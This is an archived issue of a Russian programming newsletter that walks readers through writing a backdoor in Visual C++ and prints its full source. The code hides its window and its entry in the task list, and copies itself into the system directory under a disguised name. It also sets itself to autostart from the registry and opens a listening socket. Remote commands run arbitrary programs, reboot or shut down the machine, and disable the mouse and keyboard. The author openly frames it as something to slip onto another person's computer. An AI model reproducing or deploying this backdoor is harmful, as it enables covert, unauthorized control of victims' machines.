При закрытии подписчики были переданы в рассылку "RFpro.ru: Программирование на C / C++" на которую и рекомендуем вам подписаться.
Вы можете найти рассылки сходной тематики в Каталоге рассылок.
Информационный Канал Subscribe.Ru |
![]() |
Выпуск 15 |
Back Door на Visual C++ |
|
Новости сайта
Наш сайт готовится к переходу на платный ASP-хостинг. На сайте появится много нового и интересного, к примеру форум, RRS, много новых статей и исходников!!! |
Привет хацкер! Сегодня я покажу как самомму написать бэкдор на Visual C++. Почему именно Visual C++ а не Delphi? Размер.... 25 кил всучить кому-нить легче чем 125! И так приступимс. Грузи VC++(желательно 6.0) File> New>Win32 Application и не забудь наисать имя твоего прэкта. Далее дави на батон оК и перед тобой появиться окошко там выбирай Simple Win32 Application и дави finiSH и после оК! Жми Project>Active Configuration и выбирай там имя_твоего_проэкта-Win32 Release и дави оК! Далее нужно подключить библиотеку winsock.h. Для этого нужно сделать следующее: видишь слева панель? Там выбрай закладку File View передтобой появиться дерево файлов твоего проэкта, развертывай его, нас интересует Header Files его тоже развертывай и выбирай там stdafx.h, кликай по нему 2 раза, слева должен открыться исходный код stdafx.h. Нужно его троху подправить: под строчкой #include <windows.h> вводи следующее: #include <winsock.h>. Теперь на клаве дави Alt+F7 там переходи на закладку Link видишь строчку Object/Library Modules? Под ней В САМОМ КОЦЕ ВВОДИ: winsock32.lib дави оК(если не видно закладки Link, то сделай следующее: cлева выбери название твоего проэкта и сверху Win32 Release).Теперь можешь смело давить на F7! Теперь приступим к написанию самого бэкдора: там где ты вибирал Header Files, выбирай Source Files и имя_твоего_проэкта.cpp. Слева вводи следующее: #include "stdafx.h" #define WM_SOCKET WM_USER+1 WSADATA WSAData; SOCKET sock = INVALID_SOCKET; SOCKET client; SOCKADDR_IN sin; char szClassName[256]="что угодно";//3десь имя программы char szAppName[256]="что угодно";//3десь заголовок твоей программы int Port = 5688;//порт int sendtext(char* txt)//моя проца отправки строки клиенту { return send(client,txt,lstrlen(txt),0); }; LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HWND hwnd; MSG msg; WNDCLASS wc; wc.style="0;" wc.lpfnWndProc = WndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.lpszClassName = szClassName; wc.lpszMenuName = NULL; wc.hInstance = hInstance; wc.hCursor = LoadCursor(NULL,IDC_ARROW); wc.hIcon = LoadIcon(NULL,IDI_APPLICATION); wc.hbrBackground = (HBRUSH) COLOR_WINDOW; RegisterClass(&wc); hwnd = CreateWindow(szClassName, szAppName, WS_OVERLAPPEDWINDOW, 2, 10, 70, 100, NULL, NULL, hInstance, NULL); ShowWindow(hwnd,SW_HIDE);//показываем скрытое окно UpdateWindow(hwnd); //прячем от Ctrl+Alt+Del typedef DWORD (WINAPI *REGSERVPROC)(DWORD, DWORD); HINSTANCE hLibrary; REGSERVPROC regproc; hLibrary = LoadLibrary("kernel32.dll"); regproc = (REGSERVPROC) GetProcAddress(hLibrary, "RegisterServiceProcess"); if((int)GetVersion() < 0) regproc (NULL,1); //копируем в winsysdir под именем lternat.exe(эль маленькое в начале) LPSTR lpMe = new TCHAR[256]; LPSTR WinDir1 = new TCHAR[256]; char szValue [256] = "lternat.exe"; GetSystemDirectory(WinDir1,256); GetModuleFileName(NULL,lpMe,200); strcat(WinDir1,"\\"); strcat(WinDir1,szValue); CopyFile(lpMe,WinDir1,FALSE); //автостарт HKEY pKey; RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey); RegSetValueEx(pKey,"lternat",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1); //инициализация сокета WSAStartup(0x0101,&WSAData); sock = socket(AF_INET,SOCK_STREAM,0); WSAAsyncSelect(sock,hwnd,WM_SOCKET,FD_ACCEPT | FD_READ); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(INADDR_ANY); sin.sin_port = htons(Port); bind(sock,(LPSOCKADDR)&sin,sizeof(struct sockaddr)); listen(sock,15); //обрабатываем сообщения while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); }; return msg.wParam; } LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) { char BufStr1[6666]=""; char BufStr0[6666]=""; char Command[1500]=""; char Command1[1500]=""; char Command2[1500]=""; char Command3[1500]=""; switch(iMsg) { case WM_CREATE: return 1; break; case WM_DESTROY: //если выход, то закрываем сокет closesocket(sock); WSACleanup(); PostQuitMessage(1); return 1; break; //обработка сокетных сообщений case WM_SOCKET: switch(lParam) { //соединение case FD_ACCEPT: client = accept(sock,NULL,NULL); return 1; break; case FD_READ: //обрабатываем команды клиента recv(client,BufStr1,sizeof(BufStr1),0); if(wParam == SOCKET_ERROR) { recv(client,BufStr1,sizeof(BufStr1),0); } else { //извлекаем из поступившей строки следующее: /* Command - комманда Command1 -параметр 1 Command2 - параметр 2 Command3 - параметр 4 */ int i=0; for(i=0;i<=lstrlen(BufStr1);i++) { if(BufStr1[i]==' ')break; Command[i]=BufStr1[i]; }; int p=0; for(i++;i<=lstrlen(BufStr1);i++) { if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break; Command1[p]=BufStr1[i]; p++; }; p=0; for(i+=3;i<=lstrlen(BufStr1);i++) { if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break; Command2[p]=BufStr1[i]; p++; }; p=0; for(i+=3;i<=lstrlen(BufStr1);i++) { if((BufStr1[i]=='!')&&(BufStr1[i+1]=='?')&&(BufStr1[i+2]=='!')) break; Command3[p]=BufStr1[i]; p++; }; //высветить сообщение if(strcmp(Command,"?mes")==0) { int type=MB_OK; if(strcmp(Command1,"i")==0)type=MB_OK|MB_ICONINFORMATION; if(strcmp(Command1,"w")==0)type=MB_OK|MB_ICONWARNING; if(strcmp(Command1,"e")==0)type=MB_OK|MB_ICONERROR; if(strcmp(Command1,"q")==0)type=MB_OK|MB_ICONQUESTION; MessageBox(NULL,Command3,Command2,type); sendtext("txt!Показал сообщение"); for(int i=0;i<=6666;i++) BufStr1[i]=NULL; return 1; }; //запустить коммандную строку if(strcmp(Command,"?run")==0) { if(WinExec(Command1,SW_NORMAL)>32){sendtext("txt!Запустил программу");} else {sendtext("txt!Не удалось запустить программу");}; for(int i=0;i<=6666;i++) BufStr1[i]=NULL; return 1; }; //перезагрузить комп if(strcmp(Command,"?reboot")==0) { ExitWindowsEx(EWX_REBOOT,0); sendtext("txt!Кoмп перезагружается"); for(int i=0;i<=6666;i++) BufStr1[i]=NULL; return 1; }; //вырубить комп if(strcmp(Command,"?sdown")==0) { ExitWindowsEx(EWX_SHUTDOWN,0); sendtext("txt!Комп вырубается"); for(int i=0;i<=6666;i++) BufStr1[i]=NULL; return 1; }; //отключить крысу if(strcmp(Command,"?dismous")==0) { WinExec("rundll32 mouse,disable",1); sendtext("txt!Крыса заблокирована"); for(int i=0;i<=6666;i++) BufStr1[i]=NULL; return 1; }; //отключить клаву if(strcmp(Command,"?diskey")==0) { WinExec("rundll32 keyboard,disable",1); sendtext("txt!Клава отключена"); for(int i=0;i<=6666;i++) BufStr1[i]=NULL; return 1; }; }; return 1; break; }; return 1; break; }; return DefWindowProc (hwnd, iMsg, wParam, lParam) ; } Вот и все, сервер получает команду типа ?com param1!?!param2!?!param3. Теперь осталось написать клиент, но его мы сегодня писать не будем. |
Subscribe.Ru
Поддержка подписчиков Другие рассылки этой тематики Другие рассылки этого автора |
Подписан адрес:
Код этой рассылки: comp.soft.prog.visualc |
Отписаться
Вспомнить пароль |
В избранное | ||